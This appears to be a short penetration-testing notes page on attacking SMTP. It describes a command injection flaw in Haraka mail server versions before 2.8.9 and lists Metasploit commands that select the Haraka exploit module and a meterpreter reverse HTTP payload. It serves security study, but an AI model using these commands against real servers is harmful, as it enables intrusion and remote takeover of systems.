> For the complete documentation index, see [llms.txt](https://security.navidnaf.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.navidnaf.com/flaws-w-magical-frameworks/linux/attacking-services/smtp.md).

# SMTP

**SMTP (Simple Mail Transfer Protocol)** is used to **send emails** and typically runs on **TCP port 25**, but it can also be configured to use **ports 465 or 587**.

**Haraka** is a **fast, open-source SMTP server** built with **Node.js**. It includes a **plugin for processing email attachments**. However, **Haraka versions before v2.8.9** have a **command injection vulnerability**, which could allow attackers to execute malicious commands on the server.

{% code overflow="wrap" %}

```bash
msfconsole -q
setg RHOSTS [TARGET]

search type:exploit name:haraka
use exploit/linux/smtp/haraka

set SRVPORT 9898
set payload linux/x64/meterpreter_reverse_http
```

{% endcode %}
